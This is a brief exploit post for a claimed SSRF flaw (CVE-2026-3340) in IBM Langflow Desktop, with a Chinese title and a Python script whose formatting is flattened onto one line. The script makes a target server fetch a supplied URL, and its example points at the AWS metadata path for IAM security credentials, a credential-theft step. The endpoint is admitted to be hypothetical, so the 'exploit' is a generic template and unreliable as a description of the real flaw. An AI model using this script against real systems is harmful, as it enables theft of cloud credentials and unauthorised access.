CVE-2026-3340: IBM Langflow Desktop存在SSRF漏洞

import requests def exploit_ssrf(target_host, malicious_url): """ Exploit SSRF vulnerability in IBM Langflow Desktop. This script sends a request to the target server forcing it to fetch the malicious_url. """ # Hypothetical endpoint that triggers the vulnerability endpoint = f"{target_host}/api/v1/some-internal-fetch" # Payload containing the internal resource URL payload = { "url": malicious_url } try: print(f"[*] Sending payload to {endpoint}...") response = requests.post(endpoint, json=payload, timeout=10) if response.status_code == 200: print("[+] Request successful. Check response for internal data:") print(response.text) else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1:5000" # Replace with actual target # Example: attempting to access AWS metadata internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" exploit_ssrf(target, internal_target)